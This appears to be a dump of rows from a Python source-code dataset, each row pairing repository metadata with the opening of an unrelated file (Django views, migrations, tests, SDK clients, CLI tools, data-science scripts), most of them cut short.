] | null | null | null | """@package heapwrap
Provides class wrappers for a min or max-heap using `heapq`.
"""
from . maxheap import MaxHeap
from . minheap import MinHeap
| 18.5 | 60 | 0.743243 |
c503f60c4d8f1b6936eeac9bb225ada57604a248 | 3,754 | py | Python | Shortener/views.py | zeborg/UrlShortener | 85a3e804bf318f460f20834f0cff05dad8ade6bd | [
"MIT"
] | 64 | 2017-06-14T14:35:16.000Z | 2021-04-20T07:52:53.000Z | Shortener/views.py | zeborg/UrlShortener | 85a3e804bf318f460f20834f0cff05dad8ade6bd | [
"MIT"
] | 26 | 2017-06-04T17:57:05.000Z | 2021-09-22T17:38:09.000Z | Shortener/views.py | zeborg/UrlShortener | 85a3e804bf318f460f20834f0cff05dad8ade6bd | [
"MIT"
] | 118 | 2017-06-05T22:08:02.000Z | 2020-10-04T07:52:14.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.shortcuts import render
from pyshorteners import Shortener
from .forms import Urlform, HOSTS
from rest_framework import viewsets
from rest_framework.response import Response
from rest_framework import status
from .serializers import UrlAPISe... | 35.752381 | 118 | 0.676079 |
563144924b5977a28c5363100b3701a57e094c56 | 379 | py | Python | tests/registries/legacy-1/test_legacy1_default_registry.py | pawelkopka/kopf | 51a3a70e09a17cf3baec2946b64b125a90595cf4 | [
"MIT"
] | 1,038 | 2019-03-26T16:32:56.000Z | 2022-03-27T09:15:03.000Z | tests/registries/legacy-1/test_legacy1_default_registry.py | pawelkopka/kopf | 51a3a70e09a17cf3baec2946b64b125a90595cf4 | [
"MIT"
] | 393 | 2019-03-26T13:43:42.000Z | 2020-09-14T13:18:14.000Z | tests/registries/legacy-1/test_legacy1_default_registry.py | pawelkopka/kopf | 51a3a70e09a17cf3baec2946b64b125a90595cf4 | [
"MIT"
] | 116 | 2019-03-31T23:01:09.000Z | 2022-03-18T16:44:58.000Z | import kopf
def test_getting_default_registry():
registry = kopf.get_default_registry()
assert isinstance(registry, kopf.GlobalRegistry)
def test_setting_default_registry():
registry_expected = kopf.GlobalRegistry()
kopf.set_default_registry(registry_expected)
registry_actual = kopf.get_default_... | 27.071429 | 52 | 0.799472 |
376c80121e1b0be6fff54f3427ce610642538ae9 | 1,254 | py | Python | stock-price/stock-price-ic.py | cbarrese/katas | 655b07562c06bb8b532ca141705ff127fb7e9e12 | [
"MIT"
] | null | null | null | stock-price/stock-price-ic.py | cbarrese/katas | 655b07562c06bb8b532ca141705ff127fb7e9e12 | [
"MIT"
] | null | null | null | stock-price/stock-price-ic.py | cbarrese/katas | 655b07562c06bb8b532ca141705ff127fb7e9e12 | [
"MIT"
] | null | null | null | stock_prices_yesterday = input('Enter stock prices:')
if len(stock_prices_yesterday) < 2:
raise IndexError('Getting a profit requires at least 2 prices')
# we'll greedily update min_price and max_profit, so we initialize
# them to the first price and the first possible profit
min_price = stock_prices_yest... | 36.882353 | 70 | 0.717703 |
1e19fac2069d428990d452e8c5fc3993704774ba | 979 | py | Python | scripts/ex_casA_image_cat.py | kernsuite-debian/pyvo | ee85c50c5c520ac7bede2d6f18de225c57dedc33 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 1 | 2016-07-12T22:27:36.000Z | 2016-07-12T22:27:36.000Z | scripts/ex_casA_image_cat.py | kernsuite-debian/pyvo | ee85c50c5c520ac7bede2d6f18de225c57dedc33 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | scripts/ex_casA_image_cat.py | kernsuite-debian/pyvo | ee85c50c5c520ac7bede2d6f18de225c57dedc33 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | #! /usr/bin/env python
import pyvo as vo
# find archives with x-ray images
archives = vo.regsearch(servicetype='image', waveband='xray')
# position of my favorite source
pos = vo.object2pos('Cas A')
# find images and list in a file
with open('cas-a.csv', 'w') as csv:
print >> csv, "Archiv... | 34.964286 | 61 | 0.558733 |
635672eae9d329f22fc55b66f83bc747c9022662 | 442 | py | Python | modulector/migrations/0026_auto_20210222_1813.py | omics-datascience/modulector | 357d8f6f8eab5d04b2357a08d177d75cbdad001a | [
"MIT"
] | 2 | 2021-07-10T20:45:58.000Z | 2021-08-18T02:24:58.000Z | modulector/migrations/0026_auto_20210222_1813.py | omics-datascience/modulector | 357d8f6f8eab5d04b2357a08d177d75cbdad001a | [
"MIT"
] | 3 | 2021-11-07T23:18:58.000Z | 2021-11-22T23:17:35.000Z | modulector/migrations/0026_auto_20210222_1813.py | omics-datascience/modulector | 357d8f6f8eab5d04b2357a08d177d75cbdad001a | [
"MIT"
] | null | null | null | # Generated by Django 3.0.8 on 2021-02-22 18:13
# IMPORTANT: this migration fixes a problem with multiple URL templates which were
# used in a previous version of Modulector
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('modulector', '0025_auto_20210212_1725')... | 26 | 87 | 0.714932 |
d0be18917b9a691f47431bdb30a9bd2d60bdcb41 | 204,800 | py | Python | electrophysiology_analysis/barrylab_ephys_analysis/scripts/exp_scales/paper_figures.py | Barry-lab/Publication_TanniDeCothiBarry2021 | 425bc0bd9a74b837d912820e9ea1539a111fcb1f | [
"Unlicense"
] | null | null | null | electrophysiology_analysis/barrylab_ephys_analysis/scripts/exp_scales/paper_figures.py | Barry-lab/Publication_TanniDeCothiBarry2021 | 425bc0bd9a74b837d912820e9ea1539a111fcb1f | [
"Unlicense"
] | null | null | null | electrophysiology_analysis/barrylab_ephys_analysis/scripts/exp_scales/paper_figures.py | Barry-lab/Publication_TanniDeCothiBarry2021 | 425bc0bd9a74b837d912820e9ea1539a111fcb1f | [
"Unlicense"
] | null | null | null | import os
import pickle
import sys
from random import shuffle
import numpy as np
from scipy.stats import kruskal, mannwhitneyu, pearsonr, linregress, friedmanchisquare, gamma, poisson, zscore
from scipy.special import gamma as gamma_function
from scipy.optimize import minimize
from scipy.spatial.distance import jensens... | 46.053519 | 128 | 0.623237 |
51522e8d4ee8f3c8fbfad8d0a1b2f0b9bb3a221d | 3,602 | py | Python | src/interactive_conditional_samples.py | MasayukiTanaka0412/SpeechGen | 41d443fb5cdec907c26a7ccc44e8b846110904aa | [
"MIT"
] | null | null | null | src/interactive_conditional_samples.py | MasayukiTanaka0412/SpeechGen | 41d443fb5cdec907c26a7ccc44e8b846110904aa | [
"MIT"
] | null | null | null | src/interactive_conditional_samples.py | MasayukiTanaka0412/SpeechGen | 41d443fb5cdec907c26a7ccc44e8b846110904aa | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import fire
import json
import os
import numpy as np
import tensorflow as tf
import model, sample, encoder
"""
def interact_model(
model_name='124M',
seed=None,
nsamples=1,
batch_size=1,
length=None,
temperature=1,
top_k=0,
top_p=1,
models_dir='models',
):
"... | 33.981132 | 89 | 0.631594 |
8444465215a99aa596cfc8ea819c21383948184d | 26,395 | py | Python | partialflow/manager.py | jakob-bauer/partialflow | bea1b46ca66fb5c10aefbcd1570aff922a903118 | [
"MIT"
] | 3 | 2017-02-03T15:59:10.000Z | 2020-05-23T07:26:10.000Z | partialflow/manager.py | jakob-bauer/partialflow | bea1b46ca66fb5c10aefbcd1570aff922a903118 | [
"MIT"
] | null | null | null | partialflow/manager.py | jakob-bauer/partialflow | bea1b46ca66fb5c10aefbcd1570aff922a903118 | [
"MIT"
] | 1 | 2018-08-02T02:16:34.000Z | 2018-08-02T02:16:34.000Z | import tensorflow as tf
from .sections import GraphSection, section_from_name
from tensorflow.python.client.session import _FetchMapper
from .utils import VerboseTimer
from contextlib import ExitStack
def _flatten_list(nested_list):
"""
Given a nested list, returns flat list of all its elements
:param ne... | 46.064572 | 120 | 0.60072 |
9a5e1c33def23c24c13beb24e49e268792b2e90e | 2,634 | py | Python | src/rpm2json/main.py | paul-blankenbaker/rpm2json | 85af7ad818a599fb8cbcb30150d33dea26ad4944 | [
"MIT"
] | null | null | null | src/rpm2json/main.py | paul-blankenbaker/rpm2json | 85af7ad818a599fb8cbcb30150d33dea26ad4944 | [
"MIT"
] | null | null | null | src/rpm2json/main.py | paul-blankenbaker/rpm2json | 85af7ad818a599fb8cbcb30150d33dea26ad4944 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
This is entry point for the console script. To enable/package this script,
add the following lines in the [options.entry_points] section in setup.cfg:
console_scripts =
rpm2json = rpm2json.main:run
Then run `python setup.py install` which will install the command `rpm2json`
in... | 25.572816 | 76 | 0.636295 |
e2187b9173206955e0f19de4f1e22eba8fa05926 | 4,291 | py | Python | StorageManager.py | TLIsolator/AppDevelopmentProject | 4708e6eff315bf1a84cf98f8e32e2c36ca75c56d | [
"MIT"
] | null | null | null | StorageManager.py | TLIsolator/AppDevelopmentProject | 4708e6eff315bf1a84cf98f8e32e2c36ca75c56d | [
"MIT"
] | null | null | null | StorageManager.py | TLIsolator/AppDevelopmentProject | 4708e6eff315bf1a84cf98f8e32e2c36ca75c56d | [
"MIT"
] | null | null | null | # Please read the instruction before using
# This will control all persistent storage (eg. Add, Delete, Modify)
# Note: Do not modify this before asking me (HF)
# HF
import shelve
class StorageManager():
def __init__(self):
# error checking
try:
self.__db = shelve.open('storage.db', '... | 28.606667 | 69 | 0.509205 |
affddf27700bee4e8cf132b94eb1c3cdfe6530a7 | 584 | py | Python | rdmo/projects/migrations/0020_data_migration.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 77 | 2016-08-09T11:40:20.000Z | 2022-03-06T11:03:26.000Z | rdmo/projects/migrations/0020_data_migration.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 377 | 2016-07-01T13:59:36.000Z | 2022-03-30T13:53:19.000Z | rdmo/projects/migrations/0020_data_migration.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 47 | 2016-06-23T11:32:19.000Z | 2022-03-01T11:34:37.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations
def set_questionentity_is_collection(apps, schema_editor):
Value = apps.get_model('projects', 'Value')
for value in Value.objects.all():
if value.value_type == 'options':
value.value_type = '... | 21.62963 | 63 | 0.652397 |
d0bef93560c919012b6db27b208d172d9d5bfba2 | 84,646 | py | Python | charmhelpers/contrib/openstack/utils.py | slashdd/charm-helpers | dc8b7ea0ecb6df30cac1e940f0e1b603c09c8906 | [
"Apache-2.0"
] | null | null | null | charmhelpers/contrib/openstack/utils.py | slashdd/charm-helpers | dc8b7ea0ecb6df30cac1e940f0e1b603c09c8906 | [
"Apache-2.0"
] | null | null | null | charmhelpers/contrib/openstack/utils.py | slashdd/charm-helpers | dc8b7ea0ecb6df30cac1e940f0e1b603c09c8906 | [
"Apache-2.0"
] | null | null | null | # Copyright 2014-2015 Canonical Limited.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 33.8584 | 89 | 0.62433 |
b95f12d9317dd10382e698ff7e0e4cebb3ad9cfe | 5,138 | py | Python | great_expectations/expectations/metrics/column_map_metrics/column_values_decreasing.py | cbonilla20/great_expectations | e4f8c70ce1b137133e19eb73589fb1b1f422a380 | [
"Apache-2.0"
] | 1 | 2021-10-02T06:59:48.000Z | 2021-10-02T06:59:48.000Z | great_expectations/expectations/metrics/column_map_metrics/column_values_decreasing.py | chsigjan/great_expectations | c5a587a3b1bc5d72d433950aaceb4d09f199690a | [
"Apache-2.0"
] | null | null | null | great_expectations/expectations/metrics/column_map_metrics/column_values_decreasing.py | chsigjan/great_expectations | c5a587a3b1bc5d72d433950aaceb4d09f199690a | [
"Apache-2.0"
] | null | null | null | from typing import Any, Dict, Optional, Tuple
from great_expectations.core import ExpectationConfiguration
from great_expectations.execution_engine import (
ExecutionEngine,
PandasExecutionEngine,
SparkDFExecutionEngine,
)
from great_expectations.execution_engine.execution_engine import (
MetricDomainT... | 36.439716 | 105 | 0.640327 |
1b77e0737db130c9411e78551af340eb737d78a3 | 5,819 | py | Python | src/Create.py | ytyaru/GitHub.Database.Create.Auto.Add.Repositories.201703230742 | cfe68f881ca8d0eb85bb84aff98f479b4d1cf6ef | [
"CC0-1.0"
] | 1 | 2017-06-08T10:53:31.000Z | 2017-06-08T10:53:31.000Z | src/Create.py | ytyaru/GitHub.Database.Create.Auto.Add.Repositories.201703230742 | cfe68f881ca8d0eb85bb84aff98f479b4d1cf6ef | [
"CC0-1.0"
] | null | null | null | src/Create.py | ytyaru/GitHub.Database.Create.Auto.Add.Repositories.201703230742 | cfe68f881ca8d0eb85bb84aff98f479b4d1cf6ef | [
"CC0-1.0"
] | null | null | null | #!python3
#encoding:utf-8
import subprocess
import shlex
import shutil
import os.path
import getpass
import language.insert.Main
import gnu_license.create.Main
import gnu_license.insert.main
import license.insert.Main
import other_repo.insert.Main
import account.Main
import repo.insert.Main
class InitializeMasterDbCrea... | 48.89916 | 161 | 0.668672 |
cc9e93a1f84396d55287e52667e29edba708d8c3 | 45,857 | py | Python | ambari-server/src/main/resources/common-services/HIVE/0.12.0.2.0/package/scripts/params_linux.py | Arenadata/ambari | 4628267441121779113d98936dcdf5d9be60553c | [
"Apache-2.0"
] | 5 | 2017-07-20T11:15:10.000Z | 2020-04-16T15:42:55.000Z | ambari-server/src/main/resources/common-services/HIVE/0.12.0.2.0/package/scripts/params_linux.py | Arenadata/ambari | 4628267441121779113d98936dcdf5d9be60553c | [
"Apache-2.0"
] | 8 | 2020-06-18T17:31:19.000Z | 2022-03-02T08:32:03.000Z | ambari-server/src/main/resources/common-services/HIVE/0.12.0.2.0/package/scripts/params_linux.py | Arenadata/ambari | 4628267441121779113d98936dcdf5d9be60553c | [
"Apache-2.0"
] | 12 | 2017-05-17T09:48:01.000Z | 2021-08-05T19:01:25.000Z | #!/usr/bin/env python
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License");... | 52.408 | 381 | 0.793009 |
980c2c39bc74dbdf36b7d2f89a3c13908bb45a58 | 12,209 | py | Python | databricks_cli/jobs/cli.py | sweisdb/databricks-cli | 5444cb8b94ef481e1656845f588d8d118bc352db | [
"Apache-2.0"
] | null | null | null | databricks_cli/jobs/cli.py | sweisdb/databricks-cli | 5444cb8b94ef481e1656845f588d8d118bc352db | [
"Apache-2.0"
] | null | null | null | databricks_cli/jobs/cli.py | sweisdb/databricks-cli | 5444cb8b94ef481e1656845f588d8d118bc352db | [
"Apache-2.0"
] | null | null | null | # Databricks CLI
# Copyright 2017 Databricks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"), except
# that the use of services to which certain application programming
# interfaces (each, an "API") connect requires that the user first obtain
# a license for the use of the APIs from Databricks,... | 40.561462 | 98 | 0.698255 |
9e3dfaa0335e9d020d274b0f48767cafc81821d3 | 186 | py | Python | netsim/cli/version.py | barajus/netsim-tools | b536cd1d9ec1f1dd6a8507aafadca6f9528d9d33 | [
"MIT"
] | null | null | null | netsim/cli/version.py | barajus/netsim-tools | b536cd1d9ec1f1dd6a8507aafadca6f9528d9d33 | [
"MIT"
] | null | null | null | netsim/cli/version.py | barajus/netsim-tools | b536cd1d9ec1f1dd6a8507aafadca6f9528d9d33 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
#
# Print netlab usage
#
import sys
import typing
import netsim
def run(args: typing.List[str]) -> None:
print("netsim-tools version %s" % netsim.__version__)
| 15.5 | 55 | 0.715054 |
1b7d038214949ccf867bd22bcb41e29804ba0599 | 262 | py | Python | venv/Lib/site-packages/pandas/_testing/compat.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 28,899 | 2016-10-13T03:32:12.000Z | 2022-03-31T21:39:05.000Z | venv/Lib/site-packages/pandas/_testing/compat.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 31,004 | 2016-10-12T23:22:27.000Z | 2022-03-31T23:17:38.000Z | venv/Lib/site-packages/pandas/_testing/compat.py | ajayiagbebaku/NFL-Model | afcc67a85ca7138c58c3334d45988ada2da158ed | [
"MIT"
] | 15,149 | 2016-10-13T03:21:31.000Z | 2022-03-31T18:46:47.000Z | """
Helpers for sharing tests between DataFrame/Series
"""
from pandas import DataFrame
def get_dtype(obj):
if isinstance(obj, DataFrame):
# Note: we are assuming only one column
return obj.dtypes.iat[0]
else:
return obj.dtype
| 18.714286 | 50 | 0.667939 |
1b07361970a90c99eb7c2d44fb6eb95bac3a8ced | 29,145 | py | Python | src/genie/libs/parser/utils/common.py | deepB123/genieparser | dc7c62d24dd833000fe6575b3c026b830244b03a | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/utils/common.py | deepB123/genieparser | dc7c62d24dd833000fe6575b3c026b830244b03a | [
"Apache-2.0"
] | 4 | 2021-03-24T04:25:38.000Z | 2021-03-28T04:31:21.000Z | src/genie/libs/parser/utils/common.py | deepB123/genieparser | dc7c62d24dd833000fe6575b3c026b830244b03a | [
"Apache-2.0"
] | 1 | 2021-04-05T22:05:15.000Z | 2021-04-05T22:05:15.000Z | '''Common functions to be used in parsers'''
# python
import re
import os
import sys
import json
import math
import logging
import warnings
import importlib
from genie.libs import parser
from genie.abstract import Lookup
from genie.metaparser.util import merge_dict
from pyats import configuration as cfg
from .extens... | 35.456204 | 106 | 0.479876 |
c592a233e38de8e447c2107360fe3ac2ca9e232e | 188 | py | Python | uwe_app.py | ContinuumBridge/uwe_app | e1364be4075b6e6ca6162f447ddf8942411e0906 | [
"MIT"
] | null | null | null | uwe_app.py | ContinuumBridge/uwe_app | e1364be4075b6e6ca6162f447ddf8942411e0906 | [
"MIT"
] | null | null | null | uwe_app.py | ContinuumBridge/uwe_app | e1364be4075b6e6ca6162f447ddf8942411e0906 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# uwe_app.py
# Copyright (C) ContinuumBridge Limited, 2014-2015 - All Rights Reserved
# Written by Peter Claydon
#
import sys
from uwe_app_a import App
App(sys.argv)
| 20.888889 | 72 | 0.760638 |
390789cf7d2bf1b50044dfbb853418e88d6ad844 | 6,979 | py | Python | canvasapi/submission.py | damianfs/canvasapi | 10ef96d268a0535c888d8fdd8169da31d9a66e3f | [
"MIT"
] | null | null | null | canvasapi/submission.py | damianfs/canvasapi | 10ef96d268a0535c888d8fdd8169da31d9a66e3f | [
"MIT"
] | null | null | null | canvasapi/submission.py | damianfs/canvasapi | 10ef96d268a0535c888d8fdd8169da31d9a66e3f | [
"MIT"
] | null | null | null | from canvasapi.canvas_object import CanvasObject
from canvasapi.paginated_list import PaginatedList
from canvasapi.peer_review import PeerReview
from canvasapi.upload import Uploader
from canvasapi.util import combine_kwargs, obj_or_id
class Submission(CanvasObject):
def __str__(self):
return "{}-{}".form... | 36.731579 | 118 | 0.618427 |
da35ef8eb42528a47ef14d43e77d214a74bcfc99 | 5,019 | py | Python | networking_mlnx/eswitchd/resource_mngr.py | stackhpc/networking-mlnx | 6a297fd040ff09e26e477b90f2fb229dc6a691b2 | [
"Apache-2.0"
] | null | null | null | networking_mlnx/eswitchd/resource_mngr.py | stackhpc/networking-mlnx | 6a297fd040ff09e26e477b90f2fb229dc6a691b2 | [
"Apache-2.0"
] | null | null | null | networking_mlnx/eswitchd/resource_mngr.py | stackhpc/networking-mlnx | 6a297fd040ff09e26e477b90f2fb229dc6a691b2 | [
"Apache-2.0"
] | null | null | null | # Copyright 2013 Mellanox Technologies, Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | 39.519685 | 78 | 0.60251 |
cd463859954226870ed89e52fffc81c31c6bd1e5 | 645 | py | Python | FirstStepsInPython/Fundamentals/Exercice/Regular Expressions/More Exercises/01. Race.py | Pittor052/SoftUni-Studies | 1ee6341082f6ccfa45b3e82824c37722bcf2fb31 | [
"MIT"
] | null | null | null | FirstStepsInPython/Fundamentals/Exercice/Regular Expressions/More Exercises/01. Race.py | Pittor052/SoftUni-Studies | 1ee6341082f6ccfa45b3e82824c37722bcf2fb31 | [
"MIT"
] | null | null | null | FirstStepsInPython/Fundamentals/Exercice/Regular Expressions/More Exercises/01. Race.py | Pittor052/SoftUni-Studies | 1ee6341082f6ccfa45b3e82824c37722bcf2fb31 | [
"MIT"
] | 1 | 2021-10-07T18:30:42.000Z | 2021-10-07T18:30:42.000Z | # # INCOMPLETE !!!
import re
racers = input().split(', ')
line = input()
races = []
regex = r'(?P<name>([A-Za-z])+)'
regex2 = r'(?P<length>.*)'
compare_race = {}
while not line == 'end of race':
races.append(line)
line = input()
for race in races:
distance = len(race)
result = re.finditer(regex, race... | 21.5 | 59 | 0.586047 |
bacd13bbd6f10b748de2def5cca3ef08764f51f4 | 15,425 | py | Python | programs/buck_repo.py | richieyan/buck | b6173586f67433f7c168309ea4498b371337f34b | [
"Apache-2.0"
] | null | null | null | programs/buck_repo.py | richieyan/buck | b6173586f67433f7c168309ea4498b371337f34b | [
"Apache-2.0"
] | null | null | null | programs/buck_repo.py | richieyan/buck | b6173586f67433f7c168309ea4498b371337f34b | [
"Apache-2.0"
] | null | null | null | from __future__ import print_function
import glob
import os
import platform
import subprocess
import sys
import tempfile
import textwrap
from timing import monotonic_time_nanos
from tracing import Tracing
from buck_tool import BuckTool, which, check_output, JAVA_MAX_HEAP_SIZE_MB
from buck_tool import BuckToolException... | 45.367647 | 98 | 0.620292 |
4001b64ca365acebc40d3e97a63f15db3c50e35c | 5,259 | py | Python | conlang/cache.py | zyxw59/soundchanger | 3aef4e36e68eb1e6af4db89b8cd636918542cb7b | [
"MIT"
] | 2 | 2016-04-10T09:11:32.000Z | 2019-09-01T08:31:18.000Z | conlang/cache.py | zyxw59/soundchanger | 3aef4e36e68eb1e6af4db89b8cd636918542cb7b | [
"MIT"
] | null | null | null | conlang/cache.py | zyxw59/soundchanger | 3aef4e36e68eb1e6af4db89b8cd636918542cb7b | [
"MIT"
] | null | null | null | import time
class Cache(object):
"""A cache of computed values.
Attributes:
cache: The cache as a dict, whose keys are the arguments to the
function the cache computes, and whose values are tuples of the
last modified time, and the result of the funciton.
funct: The fun... | 37.834532 | 79 | 0.59536 |
e4c9437feb187e9dd52564b676cb26f054ba4729 | 732 | py | Python | ch7/unittest/test_delete_unittest_fix.py | Jamrozinski/PythonTestingWithPytest | 0dceb58f0b17fefa776748c93f5df062395d00be | [
"MIT"
] | 11 | 2021-05-06T12:39:39.000Z | 2022-03-14T11:58:44.000Z | ch7/unittest/test_delete_unittest_fix.py | Jamrozinski/PythonTestingWithPytest | 0dceb58f0b17fefa776748c93f5df062395d00be | [
"MIT"
] | 34 | 2019-12-16T16:53:24.000Z | 2022-01-13T02:29:30.000Z | ch7/unittest/test_delete_unittest_fix.py | Jamrozinski/PythonTestingWithPytest | 0dceb58f0b17fefa776748c93f5df062395d00be | [
"MIT"
] | 11 | 2021-06-10T21:19:42.000Z | 2022-02-21T04:03:06.000Z | import pytest
import unittest
import tasks
from tasks import Task
@pytest.mark.usefixtures('tasks_db_session')
class TestNonEmpty(unittest.TestCase):
def setUp(self):
tasks.delete_all() # start empty
# add a few items, saving ids
self.ids = []
self.ids.append(tasks.add(Task('One'... | 29.28 | 69 | 0.636612 |
bd3fc879d09d5b8aa9ee2f32c31be28f17b2eda6 | 16,243 | py | Python | google/cloud/asset/v1p2beta1/asset-v1p2beta1-py/google/cloud/asset_v1p2beta1/services/asset_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 7 | 2021-02-21T10:39:41.000Z | 2021-12-07T07:31:28.000Z | google/cloud/asset/v1p2beta1/asset-v1p2beta1-py/google/cloud/asset_v1p2beta1/services/asset_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 6 | 2021-02-02T23:46:11.000Z | 2021-11-15T01:46:02.000Z | google/cloud/asset/v1p2beta1/asset-v1p2beta1-py/google/cloud/asset_v1p2beta1/services/asset_service/transports/grpc_asyncio.py | googleapis/googleapis-gen | d84824c78563d59b0e58d5664bfaa430e9ad7e7a | [
"Apache-2.0"
] | 4 | 2021-01-28T23:25:45.000Z | 2021-08-30T01:55:16.000Z | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 44.138587 | 87 | 0.623653 |
4bc2d8e0e0e3571025029d4c02800cd89d796548 | 877 | py | Python | web/core/views.py | zero-or-one/kisaweb | d88eca63b50fd2593a7d1aa23916a80437e84925 | [
"MIT"
] | 1 | 2021-03-21T18:11:18.000Z | 2021-03-21T18:11:18.000Z | web/core/views.py | zero-or-one/kisaweb | d88eca63b50fd2593a7d1aa23916a80437e84925 | [
"MIT"
] | null | null | null | web/core/views.py | zero-or-one/kisaweb | d88eca63b50fd2593a7d1aa23916a80437e84925 | [
"MIT"
] | 1 | 2021-05-28T17:17:25.000Z | 2021-05-28T17:17:25.000Z | from django.shortcuts import render, HttpResponse, redirect
from events.models import Event
from django.conf import settings
from .models import CourseResources
# Create your views here.
def homepage(request):
if settings.MAINTENANCE_MODE == True:
return redirect('important_links')
else:
num_... | 30.241379 | 68 | 0.697834 |
0c8d276a7d91342c3731252205eb3208607903a3 | 3,506 | py | Python | fips-files/verbs/nebula.py | Nechrito/nebula | 6c7ef27ab1374d3f751d866500729524f72a0c87 | [
"BSD-2-Clause"
] | null | null | null | fips-files/verbs/nebula.py | Nechrito/nebula | 6c7ef27ab1374d3f751d866500729524f72a0c87 | [
"BSD-2-Clause"
] | null | null | null | fips-files/verbs/nebula.py | Nechrito/nebula | 6c7ef27ab1374d3f751d866500729524f72a0c87 | [
"BSD-2-Clause"
] | null | null | null | """control nebula toolkit settings
nebula work [working directory]
nebula toolkit [toolkit directory]
physx [win-vs15,winvs16]
cleannidl
"""
from mod import log, util, settings
import os
import sys
import shutil
import subprocess
if sys.platform == "win32" :
if sys.version_info.major > 2:
import winreg a... | 36.520833 | 107 | 0.521107 |
da9f23df0d39e7f6fc56effb47cae74c278a20aa | 10,812 | py | Python | sdk/python/pulumi_azure_native/network/v20200501/get_network_virtual_appliance.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/network/v20200501/get_network_virtual_appliance.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/network/v20200501/get_network_virtual_appliance.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... | 40.8 | 359 | 0.6798 |
a6c6b1218776dcb39dfa3fe8553ca4cfedfb0ea3 | 4,552 | py | Python | newsrc/common/fetcher.py | CAIDA/chocolatine | 72bbaa96066ccc3af4ac0505f27bab32aed6afb9 | [
"BSD-2-Clause"
] | null | null | null | newsrc/common/fetcher.py | CAIDA/chocolatine | 72bbaa96066ccc3af4ac0505f27bab32aed6afb9 | [
"BSD-2-Clause"
] | null | null | null | newsrc/common/fetcher.py | CAIDA/chocolatine | 72bbaa96066ccc3af4ac0505f27bab32aed6afb9 | [
"BSD-2-Clause"
] | null | null | null | # This file is part of chocolatine
#
# Copyright (C) 2021 The Regents of the University of California
# All Rights Reserved
#
# Permission to copy, modify, and distribute this software and its
# documentation for academic research and education purposes, without fee, and
# without a written agreement is hereby granted... | 36.416 | 101 | 0.66696 |
b90a7ad64dfea7894bea798269a5e04915667cd1 | 2,227 | py | Python | backend/api/models/model_class_possibilities/Model_id_recursion.py | hack4impact-uiuc/mentee | c56945db8051e798c7bf6703577a0e50a54b0d67 | [
"MIT"
] | 7 | 2020-10-03T22:45:38.000Z | 2021-10-02T09:54:40.000Z | backend/api/models/model_class_possibilities/Model_id_recursion.py | hack4impact-uiuc/mentee | c56945db8051e798c7bf6703577a0e50a54b0d67 | [
"MIT"
] | 265 | 2020-10-01T20:06:27.000Z | 2022-02-27T12:18:55.000Z | backend/api/models/model_class_possibilities/Model_id_recursion.py | Leundai/twanalyze | bfccd9de43fae78e1cbdc0a6695f1cf827a3282b | [
"Apache-2.0"
] | 1 | 2020-10-06T19:57:37.000Z | 2020-10-06T19:57:37.000Z | from typing import Any, List, Type
class ModelSQL(object):
query_class = None # flask_alchemy attribute
query = None # flask_alchemy attribute
DONOTSEND_MODEL = {"_sa_instance_state"}
DONOTSEND = []
def __repr__(self) -> str:
return "<{}>".format(self.__class__.__name__)
def to_di... | 35.919355 | 106 | 0.603952 |
a6f89e610603820933615f543c93773fa23ef49d | 8,165 | py | Python | tests/gis_tests/gis_migrations/test_operations.py | ioinfinity/django | b6a0ab523751c13ae3eaec102de70f58f73a0d94 | [
"PSF-2.0",
"BSD-3-Clause"
